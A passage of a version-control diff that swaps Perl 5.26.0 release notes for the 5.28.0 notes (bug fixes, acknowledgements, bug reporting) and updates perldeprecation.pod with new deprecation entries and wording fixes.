+operators, e.g. C<+=>, were also accidentally permitted.
+L<[perl #131777]|https://rt.perl.org/Public/Bug/Display.html?id=131777>
 
 =item *
 
-Many issues relating to C<printf "%a"> of hexadecimal floating point
-were fixed.  In addition, the "subnormals" (formerly known as "denormals")
-floating point numbers are now supported both with the plain IEEE 754
-floating point numbers (64-bit or 128-bit) and the x86 80-bit
-"extended precision".  Note that subnormal hexadecimal floating
-point literals will give a warning about "exponent underflow".
-L<[perl #128843]|https://rt.perl.org/Public/Bug/Display.html?id=128843>
-L<[perl #128889]|https://rt.perl.org/Public/Bug/Display.html?id=128889>
-L<[perl #128890]|https://rt.perl.org/Public/Bug/Display.html?id=128890>
-L<[perl #128893]|https://rt.perl.org/Public/Bug/Display.html?id=128893>
-L<[perl #128909]|https://rt.perl.org/Public/Bug/Display.html?id=128909>
-L<[perl #128919]|https://rt.perl.org/Public/Bug/Display.html?id=128919>
+Package names are now always included in C<:prototype> warnings
+L<[perl #131833]|https://rt.perl.org/Public/Bug/Display.html?id=131833>
 
 =item *
 
-A regression in v5.24 with C<tr/\N{U+...}/foo/> when the code point was between
-128 and 255 has been fixed.
-L<[perl #128734]|https://rt.perl.org/Public/Bug/Display.html?id=128734>.
+The C<je_old_stack_hwm> field, previously only found in the C<jmpenv>
+structure on debugging builds, has been added to non-debug builds as
+well. This fixes an issue with some CPAN modules caused by the size of
+this structure varying between debugging and non-debugging builds.
+L<[perl #131942]|https://rt.perl.org/Public/Bug/Display.html?id=131942>
 
 =item *
 
-Use of a string delimiter whose code point is above 2**31 now works
-correctly on platforms that allow this.  Previously, certain characters,
-due to truncation, would be confused with other delimiter characters
-with special meaning (such as C<"?"> in C<m?...?>), resulting
-in inconsistent behaviour.  Note that this is non-portable,
-and is based on Perl's extension to UTF-8, and is probably not
-displayable nor enterable by any editor.
-L<[perl #128738]|https://rt.perl.org/Public/Bug/Display.html?id=128738>
+The arguments to the C<ninstr()> macro are now correctly parenthesized.
 
 =item *
 
-C<@{x> followed by a newline where C<"x"> represents a control or non-ASCII
-character no longer produces a garbled syntax error message or a crash.
-L<[perl #128951]|https://rt.perl.org/Public/Bug/Display.html?id=128951>
+A NULL pointer dereference in the C<S_regmatch()> function has been
+fixed.
+L<[perl #132017]|https://rt.perl.org/Public/Bug/Display.html?id=132017>
 
 =item *
 
-An assertion failure with C<%: = 0> has been fixed.
-L<[perl #128238]|https://rt.perl.org/Public/Bug/Display.html?id=128238>
+Calling L<exec PROGRAM LIST|perlfunc/exec PROGRAM LIST> with an empty C<LIST>
+has been fixed.  This should call C<execvp()> with an empty C<argv> array
+(containing only the terminating C<NULL> pointer), but was instead just
+returning false (and not setting L<C<$!>|perlvar/$!>).
+L<[perl #131730]|https://rt.perl.org/Public/Bug/Display.html?id=131730>
 
 =item *
 
-In Perl 5.18, the parsing of C<"$foo::$bar"> was accidentally changed, such
-that it would be treated as C<$foo."::".$bar>.  The previous behavior, which
-was to parse it as C<$foo:: . $bar>, has been restored.
-L<[perl #128478]|https://rt.perl.org/Public/Bug/Display.html?id=128478>
+The C<gv_fetchmeth_sv> C function stopped working properly in Perl 5.22 when
+fetching a constant with a UTF-8 name if that constant subroutine was stored in
+the stash as a simple scalar reference, rather than a full typeglob.  This has
+been corrected.
 
 =item *
 
-Since Perl 5.20, line numbers have been off by one when perl is invoked with
-the B<-x> switch.  This has been fixed.
-L<[perl #128508]|https://rt.perl.org/Public/Bug/Display.html?id=128508>
+Single-letter debugger commands followed by an argument which starts with
+punctuation  (e.g. C<p$^V> and C<x at ARGV>) now work again.  They had been
+wrongly requiring a space between the command and the argument.
+L<[perl #120174]|https://rt.perl.org/Public/Bug/Display.html?id=120174>
 
 =item *
 
-Vivifying a subroutine stub in a deleted stash (I<e.g.>,
-C<delete $My::{"Foo::"}; \&My::Foo::foo>) no longer crashes.  It had begun
-crashing in Perl 5.18.
-L<[perl #128532]|https://rt.perl.org/Public/Bug/Display.html?id=128532>
+L<splice|perlfunc/splice ARRAY,OFFSET,LENGTH,LIST> now throws an exception
+("Modification of a read-only value attempted") when modifying a read-only
+array.  Until now it had been silently modifying the array.  The new behaviour
+is consistent with the behaviour of L<push|perlfunc/push ARRAY,LIST> and
+L<unshift|perlfunc/unshift ARRAY,LIST>.
+L<[perl #131000]|https://rt.perl.org/Public/Bug/Display.html?id=131000>
 
 =item *
 
-Some obscure cases of subroutines and file handles being freed at the same time
-could result in crashes, but have been fixed.  The crash was introduced in Perl
-5.22.
-L<[perl #128597]|https://rt.perl.org/Public/Bug/Display.html?id=128597>
+C<stat()>, C<lstat()>, and file test operators now fail if given a
+filename containing a nul character, in the same way that C<open()>
+already fails.
 
 =item *
 
-Code that looks for a variable name associated with an uninitialized value
-could cause an assertion failure in cases where magic is involved, such as
-C<$ISA[0][0]>.  This has now been fixed.
-L<[perl #128253]|https://rt.perl.org/Public/Bug/Display.html?id=128253>
+C<stat()>, C<lstat()>, and file test operators now reliably set C<$!> when
+failing due to being applied to a closed or otherwise invalid file handle.
 
 =item *
 
-A crash caused by code generating the warning "Subroutine STASH::NAME
-redefined" in cases such as C<sub P::f{} undef *P::; *P::f =sub{};> has been
-fixed.  In these cases, where the STASH is missing, the warning will now appear
-as "Subroutine NAME redefined".
-L<[perl #128257]|https://rt.perl.org/Public/Bug/Display.html?id=128257>
+File test operators for Unix permission bits that don't exist on a
+particular platform, such as C<-k> (sticky bit) on Windows, now check that
+the file being tested exists before returning the blanket false result,
+and yield the appropriate errors if the argument doesn't refer to a file.
 
 =item *
 
-Fixed an assertion triggered by some code that handles deprecated behavior in
-formats, I<e.g.>, in cases like this:
+Fixed a 'read before buffer' overrun when parsing a range starting with
+C<\N{}> at the beginning of the character set for the transliteration
+operator.
+L<[perl #132245]|https://rt.perl.org/Ticket/Display.html?id=132245>
 
-    format STDOUT =
-    @
-    0"$x"
-
-L<[perl #128255]|https://rt.perl.org/Public/Bug/Display.html?id=128255>
-
 =item *
 
-A possible divide by zero in string transformation code on Windows has been
-avoided, fixing a crash when collating an empty string.
-L<[perl #128618]|https://rt.perl.org/Public/Bug/Display.html?id=128618>
+Fixed a leaked scalar when parsing an empty C<\N{}> at compile-time.
+L<[perl #132245]|https://rt.perl.org/Ticket/Display.html?id=132245>
 
 =item *
 
-Some regular expression parsing glitches could lead to assertion failures with
-regular expressions such as C</(?E<lt>=/> and C</(?E<lt>!/>.  This has now been fixed.
-L<[perl #128170]|https://rt.perl.org/Public/Bug/Display.html?id=128170>
+Calling C<do $path> on a directory or block device now yields a meaningful
+error code in C<$!>.
+L<[perl #125774]|https://rt.perl.org/Ticket/Display.html?id=125774>
 
 =item *
 
-C< until ($x = 1) { ... } > and C< ... until $x = 1 > now properly
-warn when syntax warnings are enabled.
-L<[perl #127333]|https://rt.perl.org/Public/Bug/Display.html?id=127333>
+Regexp substitution using an overloaded replacement value that provides
+a tainted stringification now correctly taints the resulting string.
+L<[perl #115266]|https://rt.perl.org/Ticket/Display.html?id=115266>
 
 =item *
 
-socket() now leaves the error code returned by the system in C<$!> on
-failure.
-L<[perl #128316]|https://rt.perl.org/Public/Bug/Display.html?id=128316>
+Lexical sub declarations in C<do> blocks such as C<do { my sub lex; 123 }>
+could corrupt the stack, erasing items already on the stack in the
+enclosing statement.  This has been fixed.
+L<[perl #132442]|https://rt.perl.org/Ticket/Display.html?id=132442>
 
 =item *
 
-Assignment variants of any bitwise ops under the C<bitwise> feature would
-crash if the left-hand side was an array or hash.
-L<[perl #128204]|https://rt.perl.org/Public/Bug/Display.html?id=128204>
+C<pack> and C<unpack> can now handle repeat counts and lengths that
+exceed two billion.
+L<[perl #119367]|https://rt.perl.org/Ticket/Display.html?id=119367>
 
 =item *
 
-C<require> followed by a single colon (as in C<foo() ? require : ...> is
-now parsed correctly as C<require> with implicit C<$_>, rather than
-C<require "">.
-L<[perl #128307]|https://rt.perl.org/Public/Bug/Display.html?id=128307>
+Digits past the radix point in octal and binary floating point literals
+now have the correct weight on platforms where a floating point
+significand doesn't fit into an integer type.
 
 =item *
 
-Scalar C<keys %hash> can now be assigned to consistently in all scalar
-lvalue contexts.  Previously it worked for some contexts but not others.
+The canonical truth value no longer has a spurious special meaning as a
+callable subroutine.  It used to be a magic placeholder for a missing
+C<import> or C<unimport> method, but is now treated like any other string
+C<1>.
+L<[perl #126042]|https://rt.perl.org/Ticket/Display.html?id=126042>
 
 =item *
 
-List assignment to C<vec> or C<substr> with an array or hash for its first
-argument used to result in crashes or "Can't coerce" error messages at run
-time, unlike scalar assignment, which would give an error at compile time.
-List assignment now gives a compile-time error, too.
-L<[perl #128260]|https://rt.perl.org/Public/Bug/Display.html?id=128260>
+C<system> now reduces its arguments to strings in the parent process, so
+any effects of stringifying them (such as overload methods being called
+or warnings being emitted) are visible in the way the program expects.
+L<[perl #121105]|https://rt.perl.org/Ticket/Display.html?id=121105>
 
 =item *
 
-Expressions containing an C<&&> or C<||> operator (or their synonyms C<and>
-and C<or>) were being compiled incorrectly in some cases.  If the left-hand
-side consisted of either a negated bareword constant or a negated C<do {}>
-block containing a constant expression, and the right-hand side consisted of
-a negated non-foldable expression, one of the negations was effectively
-ignored.  The same was true of C<if> and C<unless> statement modifiers,
-though with the left-hand and right-hand sides swapped.  This long-standing
-bug has now been fixed.
-L<[perl #127952]|https://rt.perl.org/Public/Bug/Display.html?id=127952>
+The C<readpipe()> built-in function now checks at compile time that
+it has only one parameter expression, and puts it in scalar context,
+thus ensuring that it doesn't corrupt the stack at runtime.
+L<[perl #4574]|https://rt.perl.org/Ticket/Display.html?id=4574>
 
 =item *
 
-C<reset> with an argument no longer crashes when encountering stash entries
-other than globs.
-L<[perl #128106]|https://rt.perl.org/Public/Bug/Display.html?id=128106>
+C<sort> now performs correct reference counting when aliasing C<$a> and
+C<$b>, thus avoiding premature destruction and leakage of scalars if they
+are re-aliased during execution of the sort comparator.
+L<[perl #92264]|https://rt.perl.org/Ticket/Display.html?id=92264>
 
 =item *
 
-Assignment of hashes to, and deletion of, typeglobs named C<*::::::> no
-longer causes crashes.
-L<[perl #128086]|https://rt.perl.org/Public/Bug/Display.html?id=128086>
+C<reverse> with no operand, reversing C<$_> by default, is no longer in
+danger of corrupting the stack.
+L<[perl #132544]|https://rt.perl.org/Ticket/Display.html?id=132544>
 
 =item *
 
-Perl wasn't correctly handling true/false values in the LHS of a list
-assign; specifically the truth values returned by boolean operators.
-This could trigger an assertion failure in something like the following:
+C<exec>, C<system>, et al are no longer liable to have their argument
+lists corrupted by reentrant calls and by magic such as tied scalars.
+L<[perl #129888]|https://rt.perl.org/Ticket/Display.html?id=129888>
 
-    for ($x > $y) {
-        ($_, ...) = (...); # here $_ is aliased to a truth value
-    }
-
-This was a regression from v5.24.
-L<[perl #129991]|https://rt.perl.org/Public/Bug/Display.html?id=129991>
-
 =item *
 
-Assertion failure with user-defined Unicode-like properties.
-L<[perl #130010]|https://rt.perl.org/Public/Bug/Display.html?id=130010>
+Perl's own C<malloc> no longer gets confused by attempts to allocate
+more than a gigabyte on a 64-bit platform.
+L<[perl #119829]|https://rt.perl.org/Ticket/Display.html?id=119829>
 
 =item *
 
-Fix error message for unclosed C<\N{> in a regex.  An unclosed C<\N{>
-could give the wrong error message:
-C<"\N{NAME} must be resolved by the lexer">.
+Stacked file test operators in a sort comparator expression no longer
+cause a crash.
+L<[perl #129347]|https://rt.perl.org/Ticket/Display.html?id=129347>
 
 =item *
 
-List assignment in list context where the LHS contained aggregates and
-where there were not enough RHS elements, used to skip scalar lvalues.
-Previously, C<(($a,$b, at c,$d) = (1))> in list context returned C<($a)>; now
-it returns C<($a,$b,$d)>.  C<(($a,$b,$c) = (1))> is unchanged: it still
-returns C<($a,$b,$c)>.  This can be seen in the following:
+An identity C<tr///> transformation on a reference is no longer mistaken
+for that reference for the purposes of deciding whether it can be
+assigned to.
+L<[perl #130578]|https://rt.perl.org/Ticket/Display.html?id=130578>
 
-    sub inc { $_++ for @_ }
-    inc(($a,$b, at c,$d) = (10))
-
-Formerly, the values of C<($a,$b,$d)> would be left as C<(11,undef,undef)>;
-now they are C<(11,1,1)>.
-
 =item *
 
-Code like this: C</(?{ s!!! })/> could trigger infinite recursion on the C
-stack (not the normal perl stack) when the last successful pattern in
-scope is itself.  We avoid the segfault by simply forbidding the use of
-the empty pattern when it would resolve to the currently executing
-pattern.
-L<[perl #129903]|https://rt.perl.org/Public/Bug/Display.html?id=129903>
+Lengthy hexadecimal, octal, or binary floating point literals no
+longer cause undefined behaviour when parsing digits that are of such
+low significance that they can't affect the floating point value.
+L<[perl #131894]|https://rt.perl.org/Ticket/Display.html?id=131894>
 
 =item *
 
-Avoid reading beyond the end of the line buffer in perl's lexer when
-there's a short UTF-8 character at the end.
-L<[perl #128997]|https://rt.perl.org/Public/Bug/Display.html?id=128997>
+C<open $$scalarref...> and similar invocations no longer leak the file
+handle.
+L<[perl #115814]|https://rt.perl.org/Ticket/Display.html?id=115814>
 
 =item *
 
-Alternations in regular expressions were sometimes failing to match
-a utf8 string against a utf8 alternate.
-L<[perl #129950]|https://rt.perl.org/Public/Bug/Display.html?id=129950>
+Some convoluted kinds of regexp no longer cause an arithmetic overflow
+when compiled.
+L<[perl #131893]|https://rt.perl.org/Ticket/Display.html?id=131893>
 
 =item *
 
-Make C<do "a\0b"> fail silently (and return C<undef> and set C<$!>)
-instead of throwing an error.
-L<[perl #129928]|https://rt.perl.org/Public/Bug/Display.html?id=129928>
+The default typemap, by avoiding C<newGVgen>, now no longer leaks when
+XSUBs return file handles (C<PerlIO *> or C<FILE *>).
+L<[perl #115814]|https://rt.perl.org/Ticket/Display.html?id=115814>
 
 =item *
 
-C<chdir> with no argument didn't ensure that there was stack space
-available for returning its result.
-L<[perl #129130]|https://rt.perl.org/Public/Bug/Display.html?id=129130>
+Creating a C<BEGIN> block as an XS subroutine with a prototype no longer
+crashes because of the early freeing of the subroutine.
 
 =item *
 
-All error messages related to C<do> now refer to C<do>; some formerly
-claimed to be from C<require> instead.
+The C<printf> format specifier C<%.0f> no longer rounds incorrectly
+L<[perl #47602]|https://rt.perl.org/Ticket/Display.html?id=47602>,
+and now shows the correct sign for a negative zero.
 
-=item *
+=item * 
 
-Executing C<undef $x> where C<$x> is tied or magical no longer incorrectly
-blames the variable for an uninitialized-value warning encountered by the
-tied/magical code.
+Fixed an issue where the error C<< Scalar value @arrayname[0] better
+written as $arrayname >> would give an error C<< Cannot printf Inf with 'c' >>
+when arrayname starts with C<< Inf >>.
+L<[perl #132645]|https://rt.perl.org/Ticket/Display.html?id=132645>
 
 =item *
 
-Code like C<$x = $x . "a"> was incorrectly failing to yield a
-L<use of uninitialized value|perldiag/"Use of uninitialized value%s">
-warning when C<$x> was a lexical variable with an undefined value. That has
-now been fixed.
-L<[perl #127877]|https://rt.perl.org/Public/Bug/Display.html?id=127877>
+The Perl implementation of C<< getcwd() >> in C<< Cwd >> in the PathTools
+distribution now behaves the same as XS implementation on errors: it
+returns an error, and sets C<< $! >>.
+L<[perl #132648]|https://rt.perl.org/Ticket/Display.html?id=132648>
 
 =item *
 
-C<undef *_; shift> or C<undef *_; pop> inside a subroutine, with no
-argument to C<shift> or C<pop>, began crashing in Perl 5.14, but has now
-been fixed.
+Vivify array elements when putting them on the stack.
+Fixes L<[perl #8910]|https://rt.perl.org/Ticket/Display.html?id=8910>
+(reported in April 2002).
 
 =item *
 
-C<< "string$scalar-E<gt>$*" >> now correctly prefers concatenation
-overloading to string overloading if C<< $scalar-E<gt>$* >> returns an
-overloaded object, bringing it into consistency with C<$$scalar>.
+Fixed parsing of braced subscript after parens. Fixes
+L<[perl #8045]|https://rt.perl.org/Ticket/Display.html?id=8045>
+(reported in December 2001).
 
 =item *
 
-C<< /@0{0*-E<gt>@*/*0 >> and similar contortions used to crash, but no longer
-do, but merely produce a syntax error.
-L<[perl #128171]|https://rt.perl.org/Public/Bug/Display.html?id=128171>
+C<tr/non_utf8/long_non_utf8/c> could give the wrong results when the
+length of the replacement character list was greater than 0x7fff.
 
 =item *
 
-C<do> or C<require> with an argument which is a reference or typeglob
-which, when stringified,
-contains a null character, started crashing in Perl 5.20, but has now been
-fixed.
-L<[perl #128182]|https://rt.perl.org/Public/Bug/Display.html?id=128182>
+C<tr/non_utf8/non_utf8/cd> failed to add the implied
+C<\x{100}-\x{7fffffff}> to the search character list.
 
 =item *
 
-Improve the error message for a missing C<tie()> package/method. This
-brings the error messages in line with the ones used for normal method
-calls.
+Compilation failures within "perl-within-perl" constructs, such as with
+string interpolation and the right part of C<s///e>, now cause
+compilation to abort earlier.
 
-=item *
+Previously compilation could continue in order to report other errors,
+but the failed sub-parse could leave partly parsed constructs on the
+parser shift-reduce stack, confusing the parser, leading to perl
+crashes.
+L<[perl #125351]|https://rt.perl.org/Ticket/Display.html?id=125351>
 
-Parsing bad POSIX charclasses no longer leaks memory.
-L<[perl #128313]|https://rt.perl.org/Public/Bug/Display.html?id=128313>
-
-=back
-
-=head1 Known Problems
-
-=over 4
-
 =item *
 
-G++ 6 handles subnormal (denormal) floating point values differently
-than gcc 6 or g++ 5 resulting in "flush-to-zero". The end result is
-that if you specify very small values using the hexadecimal floating
-point format, like C<0x1.fffffffffffffp-1022>, they become zeros.
-L<[perl #131388]|https://rt.perl.org/Ticket/Display.html?id=131388>
+On threaded perls where the decimal point (radix) character is not a
+dot, it has been possible for a race to occur between threads when one
+needs to use the real radix character (such as with C<sprintf>).  This has
+now been fixed by use of a mutex on systems without thread-safe locales,
+and the problem just doesn't come up on those with thread-safe locales.
 
-=back 
-
-=head1 Errata From Previous Releases
-
-=over 4
-
 =item *
 
-Fixed issues with recursive regexes.  The behavior was fixed in Perl 5.24.
-L<[perl #126182]|https://rt.perl.org/Public/Bug/Display.html?id=126182>
+Errors while compiling a regex character class could sometime trigger an
+assertion failure.
+L<[perl #132163]|https://rt.perl.org/Ticket/Display.html?id=132163>
 
 =back
 
-=head1 Obituary
-
-Jon Portnoy (AVENJ), a prolific Perl author and admired Gentoo community
-member, has passed away on August 10, 2016.  He will be remembered and
-missed by all those who he came in contact with, and enriched with his
-intellect, wit, and spirit.
-
-It is with great sadness that we also note Kip Hampton's passing.  Probably
-best known as the author of the Perl & XML column on XML.com, he was a
-core contributor to AxKit, an XML server platform that became an Apache
-Foundation project.  He was a frequent speaker in the early days at
-OSCON, and most recently at YAPC::NA in Madison.  He was frequently on
-irc.perl.org as ubu, generally in the #axkit-dahut community, the
-group responsible for YAPC::NA Asheville in 2011.
-
-Kip and his constant contributions to the community will be greatly
-missed.
-
 =head1 Acknowledgements
 
-Perl 5.26.0 represents approximately 13 months of development since Perl 5.24.0
-and contains approximately 360,000 lines of changes across 2,600 files from 86
-authors.
+Perl 5.28.0 represents approximately 13 months of development since Perl
+5.26.0 and contains approximately 730,000 lines of changes across 2,200
+files from 77 authors.
 
 Excluding auto-generated files, documentation and release tools, there were
-approximately 230,000 lines of changes to 1,800 .pm, .t, .c and .h files.
+approximately 580,000 lines of changes to 1,300 .pm, .t, .c and .h files.
 
-Perl continues to flourish into its third decade thanks to a vibrant community
-of users and developers.  The following people are known to have contributed the
-improvements that became Perl 5.26.0:
+Perl continues to flourish into its fourth decade thanks to a vibrant
+community of users and developers. The following people are known to have
+contributed the improvements that became Perl 5.28.0:
 
-Aaron Crane, Abigail, Ævar Arnfjörð Bjarmason, Alex Vandiver, Andreas
-König, Andreas Voegele, Andrew Fresh, Andy Lester, Aristotle Pagaltzis, Chad
-Granum, Chase Whitener, Chris 'BinGOs' Williams, Chris Lamb, Christian Hansen,
-Christian Millour, Colin Newell, Craig A. Berry, Dagfinn Ilmari Mannsåker, Dan
-Collins, Daniel Dragan, Dave Cross, Dave Rolsky, David Golden, David H.
-Gutteridge, David Mitchell, Dominic Hargreaves, Doug Bell, E. Choroba, Ed Avis,
-Father Chrysostomos, François Perrad, Hauke D, H.Merijn Brand, Hugo van der
-Sanden, Ivan Pozdeev, James E Keenan, James Raspass, Jarkko Hietaniemi, Jerry
-D. Hedden, Jim Cromie, J. Nick Koston, John Lightsey, Karen Etheridge, Karl
-Williamson, Leon Timmermans, Lukas Mai, Matthew Horsfall, Maxwell Carey, Misty
-De Meo, Neil Bowers, Nicholas Clark, Nicolas R., Niko Tyni, Pali, Paul
-Marquess, Peter Avalos, Petr Písař, Pino Toscano, Rafael Garcia-Suarez, Reini
-Urban, Renee Baecker, Ricardo Signes, Richard Levitte, Rick Delaney, Salvador
-Fandiño, Samuel Thibault, Sawyer X, Sébastien Aperghis-Tramoni, Sergey
-Aleynikov, Shlomi Fish, Smylers, Stefan Seifert, Steffen Müller, Stevan
-Little, Steve Hay, Steven Humphrey, Sullivan Beck, Theo Buehler, Thomas Sibley,
-Todd Rinaldo, Tomasz Konojacki, Tony Cook, Unicode Consortium, Yaroslav Kuzmin,
-Yves Orton, Zefram.
+Aaron Crane, Abigail, Ævar Arnfjörð Bjarmason, Alberto Simões, Alexandr
+Savca, Andrew Fresh, Andy Dougherty, Andy Lester, Aristotle Pagaltzis, Ask
+Bjørn Hansen, Chris 'BinGOs' Williams, Craig A. Berry, Dagfinn Ilmari
+Mannsåker, Dan Collins, Daniel Dragan, David Cantrell, David Mitchell,
+Dmitry Ulanov, Dominic Hargreaves, E. Choroba, Eric Herman, Eugen Konkov,
+Father Chrysostomos, Gene Sullivan, George Hartzell, Graham Knop, Harald
+Jörg, H.Merijn Brand, Hugo van der Sanden, Jacques Germishuys, James E
+Keenan, Jarkko Hietaniemi, Jerry D. Hedden, J. Nick Koston, John Lightsey,
+John Peacock, John P. Linderman, John SJ Anderson, Karen Etheridge, Karl
+Williamson, Ken Brown, Ken Cotterill, Leon Timmermans, Lukas Mai, Marco
+Fontani, Marc-Philip Werner, Matthew Horsfall, Neil Bowers, Nicholas Clark,
+Nicolas R., Niko Tyni, Pali, Paul Marquess, Peter John Acklam, Reini Urban,
+Renee Baecker, Ricardo Signes, Robin Barker, Sawyer X, Scott Lanning, Sergey
+Aleynikov, Shirakata Kentaro, Shoichi Kaji, Slaven Rezic, Smylers, Steffen
+Müller, Steve Hay, Sullivan Beck, Thomas Sibley, Todd Rinaldo, Tomasz
+Konojacki, Tom Hukins, Tom Wyant, Tony Cook, Vitali Peil, Yves Orton,
+Zefram.
 
-The list above is almost certainly incomplete as it is automatically generated
-from version control history.  In particular, it does not include the names of
-the (very much appreciated) contributors who reported issues to the Perl bug
-tracker.
+The list above is almost certainly incomplete as it is automatically
+generated from version control history. In particular, it does not include
+the names of the (very much appreciated) contributors who reported issues to
+the Perl bug tracker.
 
 Many of the changes included in this version originated in the CPAN modules
-included in Perl's core.  We're grateful to the entire CPAN community for
+included in Perl's core. We're grateful to the entire CPAN community for
 helping Perl to flourish.
 
-For a more complete list of all of Perl's historical contributors, please see
-the F<AUTHORS> file in the Perl source distribution.
+For a more complete list of all of Perl's historical contributors, please
+see the F<AUTHORS> file in the Perl source distribution.
 
 =head1 Reporting Bugs
 
-If you find what you think is a bug, you might check the perl bug database at
-L<https://rt.perl.org/>.  There may also be information at
-L<http://www.perl.org/>, the Perl Home Page.
+If you find what you think is a bug, you might check the perl bug database
+at L<https://rt.perl.org/> .  There may also be information at
+L<http://www.perl.org/> , the Perl Home Page.
 
 If you believe you have an unreported bug, please run the L<perlbug> program
 included with your release.  Be sure to trim your bug down to a tiny but
 sufficient test case.  Your bug report, along with the output of C<perl -V>,
-will be sent off to C<perlbug at perl.org> to be analysed by the Perl porting team.
+will be sent off to perlbug at perl.org to be analysed by the Perl porting team.
 
 If the bug you are reporting has security implications which make it
 inappropriate to send to a publicly archived mailing list, then see

Modified: vendor/perl/dist/pod/perldeprecation.pod
===================================================================
--- vendor/perl/dist/pod/perldeprecation.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perldeprecation.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -50,6 +50,65 @@
 
 This usage has been deprecated, and will no longer be allowed in Perl 5.32.
 
+=head3 Use of strings with code points over 0xFF as arguments to C<vec>
+
+C<vec> views its string argument as a sequence of bits.  A string
+containing a code point over 0xFF is nonsensical.  This usage is
+deprecated in Perl 5.28, and will be removed in Perl 5.32.
+
+=head3 Use of code points over 0xFF in string bitwise operators
+
+The string bitwise operators, C<&>, C<|>, C<^>, and C<~>, treat their
+operands as strings of bytes. As such, values above 0xFF are
+nonsensical. Some instances of these have been deprecated since Perl
+5.24, and were made fatal in 5.28, but it turns out that in cases where
+the wide characters did not affect the end result, no deprecation
+notice was raised, and so remain legal.  Now, all occurrences either are
+fatal or raise a deprecation warning, so that the remaining legal
+occurrences will be fatal in 5.32.
+
+An example of this is
+
+ "" & "\x{100}"
+
+The wide character is not used in the C<&> operation because the left
+operand is shorter.  This now warns anyway.
+
+=head3 hostname() doesn't accept any arguments
+
+The function C<hostname()> in the L<Sys::Hostname> module has always
+been documented to be called with no arguments.  Historically it has not
+enforced this, and has actually accepted and ignored any arguments.  As a
+result, some users have got the mistaken impression that an argument does
+something useful.  To avoid these bugs, the function is being made strict.
+Passing arguments was deprecated in Perl 5.28, and will become fatal in
+Perl 5.32.
+
+=head3 Unescaped left braces in regular expressions
+
+The simple rule to remember, if you want to match a literal C<{>
+character (U+007B C<LEFT CURLY BRACKET>) in a regular expression
+pattern, is to escape each literal instance of it in some way.
+Generally easiest is to precede it with a backslash, like C<\{>
+or enclose it in square brackets (C<[{]>).  If the pattern
+delimiters are also braces, any matching right brace (C<}>) should
+also be escaped to avoid confusing the parser, for example,
+
+ qr{abc\{def\}ghi}
+
+Forcing literal C<{> characters to be escaped will enable the Perl
+language to be extended in various ways in future releases.  To avoid
+needlessly breaking existing code, the restriction is is not enforced in
+contexts where there are unlikely to ever be extensions that could
+conflict with the use there of C<{> as a literal.
+
+Literal uses of C<{> were deprecated in Perl 5.20, and some uses of it
+started to give deprecation warnings since. These cases were made fatal
+in Perl 5.26. Due to an oversight, not all cases of a use of a literal
+C<{> got a deprecation warning.  Some cases started warning in Perl 5.26,
+and they will be fatal by Perl 5.30.  Other case started in Perl 5.28,
+and will be made fatal in 5.32.
+
 =head2 Perl 5.30
 
 =head3 C<< $* >> is no longer supported
@@ -72,9 +131,18 @@
 the variable for a future special meaning, its use will be a fatal
 error in Perl 5.30.
 
-To specify how numbers are formatted when printed, one is adviced
+To specify how numbers are formatted when printed, one is advised
 to use C<< printf >> or C<< sprintf >> instead.
 
+=head3 Assigning non-zero to C<< $[ >> will be fatal
+
+This variable (and the corresponding C<array_base> feature and
+L<arybase> module) allows changing the base for array and string
+indexing operations.
+
+Setting this to a non-zero value has been deprecated since Perl 5.12 and
+will become fatal in Perl 5.30.
+
 =head3 C<< File::Glob::glob() >> will disappear
 
 C<< File::Glob >> has a function called C<< glob >>, which just calls
@@ -89,31 +157,10 @@
 Code using C<< File::Glob::glob() >> should call
 C<< File::Glob::bsd_glob() >> instead.
 
+=head3 Unescaped left braces in regular expressions (for 5.30)
 
-=head3 Unescaped left braces in regular expressions
+See L</Unescaped left braces in regular expressions> above.
 
-The simple rule to remember, if you want to match a literal C<{>
-character (U+007B C<LEFT CURLY BRACKET>) in a regular expression
-pattern, is to escape each literal instance of it in some way.
-Generally easiest is to precede it with a backslash, like C<\{>
-or enclose it in square brackets (C<[{]>).  If the pattern
-delimiters are also braces, any matching right brace (C<}>) should
-also be escaped to avoid confusing the parser, for example,
-
- qr{abc\{def\}ghi}
-
-Forcing literal C<{> characters to be escaped will enable the Perl
-language to be extended in various ways in future releases.  To avoid
-needlessly breaking existing code, the restriction is is not enforced in
-contexts where there are unlikely to ever be extensions that could
-conflict with the use there of C<{> as a literal.
-
-Literal uses of C<{> were deprecated in Perl 5.20, and some uses of it
-started to give deprecation warnings since. These cases were made fatal
-in Perl 5.26. Due to an oversight, not all cases of a use of a literal
-C<{> got a deprecation warning. These cases started warning in Perl 5.26,
-and they will be fatal by Perl 5.30.
-
 =head3 Unqualified C<dump()>
 
 Use of C<dump()> instead of C<CORE::dump()> was deprecated in Perl 5.8,
@@ -253,7 +300,7 @@
 
 =head2 Perl 5.28
 
-=head3 Attribute "%s" is deprecated, and will disappear in 5.28
+=head3 Attributes C<< :locked >> and C<< :unique >>
 
 The attributes C<< :locked >> (on code references) and C<< :unique >>
 (on array, hash and scalar references) have had no effect since 
@@ -260,10 +307,10 @@
 Perl 5.005 and Perl 5.8.8 respectively. Their use has been deprecated
 since.
 
-These attributes will no longer be recognized in Perl 5.28, and will
-then result in a syntax error. Since the attributes do not do anything,
-removing them from your code fixes the deprecation warning; and removing
-them will not influence the behaviour of your code.
+As of Perl 5.28, these attributes are syntax errors. Since the
+attributes do not do anything, removing them from your code fixes
+the syntax error; and removing them will not influence the behaviour
+of your code.
 
 
 =head3 Bare here-document terminators
@@ -270,9 +317,10 @@
 
 Perl has allowed you to use a bare here-document terminator to have the
 here-document end at the first empty line. This practise was deprecated
-in Perl 5.000, and this will be a fatal error in Perl 5.28.
+in Perl 5.000; as of Perl 5.28, using a bare here-document terminator
+throws a fatal error.
 
-You are encouraged to use the explictly quoted form if you wish to
+You are encouraged to use the explicitly quoted form if you wish to
 use an empty line as the terminator of the here-document:
 
   print <<"";
@@ -293,7 +341,8 @@
 setting C<$/> to undef, with the exception that this warning would be
 thrown.
 
-In Perl 5.28, this will throw a fatal error.
+As of Perl 5.28, setting C<$/> to a reference of a non-positive
+integer throws a fatal error.
 
 You are recommended to change your code to set C<$/> to C<undef> explicitly
 if you wish to slurp the file.
@@ -301,39 +350,39 @@
 
 =head3 Limit on the value of Unicode code points.
 
-Unicode only allows code points up to 0x10FFFF, but Perl allows much
-larger ones. However, using code points exceeding the maximum value
-of an integer (C<IV_MAX>) may break the perl interpreter in some constructs,
-including causing it to hang in a few cases.  The known problem areas
